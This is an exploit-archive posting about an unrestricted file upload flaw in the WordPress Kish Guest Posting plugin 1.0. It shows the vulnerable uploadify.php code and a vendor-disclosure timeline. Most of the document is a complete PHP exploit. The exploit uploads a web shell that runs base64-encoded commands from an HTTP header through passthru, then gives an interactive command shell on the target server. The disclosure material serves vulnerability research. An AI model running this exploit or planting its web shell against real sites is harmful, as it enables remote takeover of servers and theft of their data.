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WordPress Kish Guest Posting 1.0 Shell Upload

WordPress Kish Guest Posting 1.0 Shell Upload
Posted Jan 24, 2012
Authored by EgiX

WordPress Kish Guest Posting plugin version 1.0 suffers from an unrestricted file upload vulnerability.

tags | exploit, file upload
SHA-256 | 41cca2429698e815d678cab74cf2e1fe4fc269d0ce2e816785dbb54b033093da

WordPress Kish Guest Posting 1.0 Shell Upload

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<?php

/*
--------------------------------------------------------------------------------
Wordpress Kish Guest Posting Plugin 1.0 (uploadify.php) Unrestricted File Upload
--------------------------------------------------------------------------------

author............: Egidio Romano aka EgiX
mail..............: n0b0d13s[at]gmail[dot]com
software link.....: http://kishpress.com/guest-posting-plugin/

+-------------------------------------------------------------------------+
| This proof of concept code was written for educational purpose only. |
| Use it at your own risk. Author will be not responsible for any damage. |
+-------------------------------------------------------------------------+

[-] vulnerable code in /uploadify/scripts/uploadify.php

26. if (!empty($_FILES)) {
27. $tempFile = $_FILES['Filedata']['tmp_name'];
28. $targetPath = $_SERVER['DOCUMENT_ROOT'] . $_REQUEST['folder'] . '/';
29. $targetFile = str_replace('//','/',$targetPath) . $_FILES['Filedata']['name'];
30. // $fileTypes = str_replace('*.','',$_REQUEST['fileext']);
31. // $fileTypes = str_replace(';','|',$fileTypes);
32. // $typesArray = split('\|',$fileTypes);
33. // $fileParts = pathinfo($_FILES['Filedata']['name']);
34.
35. // if (in_array($fileParts['extension'],$typesArray)) {
36. // Uncomment the following line if you want to make the directory if it doesn't exist
37. // mkdir(str_replace('//','/',$targetPath), 0755, true);
38.
39. move_uploaded_file($tempFile,$targetFile);
40. echo str_replace($_SERVER['DOCUMENT_ROOT'],'',$targetFile);
41. // } else {
42. // echo 'Invalid file type.';
43. // }
44. }

Restricted access to this script isn't properly realized, so an attacker might be able to upload
arbitrary files containing malicious PHP code due to uploaded file extension isn't properly checked.

[-] Disclosure timeline:

[19/12/2011] - Vulnerability discovered
[19/12/2011] - Vendor notified through http://kish.in/contact-me/
[07/01/2012] - No response from vendor, notified again via email
[16/01/2012] - After four weeks still no response
[23/01/2012] - Public disclosure

*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{
if (!($sock = fsockopen($host, 80)))
die("\n[-] No response from {$host}:80\n");

fputs($sock, $packet);
return stream_get_contents($sock);
}

print "\n+----------------------------------------------------------------------------------+";
print "\n| Wordpress Kish Guest Posting Plugin 1.0 Unrestricted File Upload Exploit by EgiX |";
print "\n+----------------------------------------------------------------------------------+\n";

if ($argc < 3)
{
print "\nUsage......: php $argv[0] <host> <path>\n";
print "\nExample....: php $argv[0] localhost /";
print "\nExample....: php $argv[0] localhost /wordpress/\n";
die();
}

$host = $argv[1];
$path = $argv[2];

$payload = "--o0oOo0o\r\n";
$payload .= "Content-Disposition: form-data; name=\"Filedata\"; filename=\"sh.php\"\r\n\r\n";
$payload .= "<?php error_reporting(0); print(___); passthru(base64_decode(\$_SERVER[HTTP_CMD]));\r\n";
$payload .= "--o0oOo0o--\r\n";

$packet = "POST {$path}wp-content/plugins/kish-guest-posting/uploadify/scripts/uploadify.php?folder={$path} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=o0oOo0o\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";

if (!preg_match('/sh.php/', http_send($host, $packet))) die("\n[-] Upload failed!\n");

$packet = "GET {$path}sh.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";

while(1)
{
print "\nkish-shell# ";
if (($cmd = trim(fgets(STDIN))) == "exit") break;
$response = http_send($host, sprintf($packet, base64_encode($cmd)));
preg_match('/___(.*)/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
}

?>

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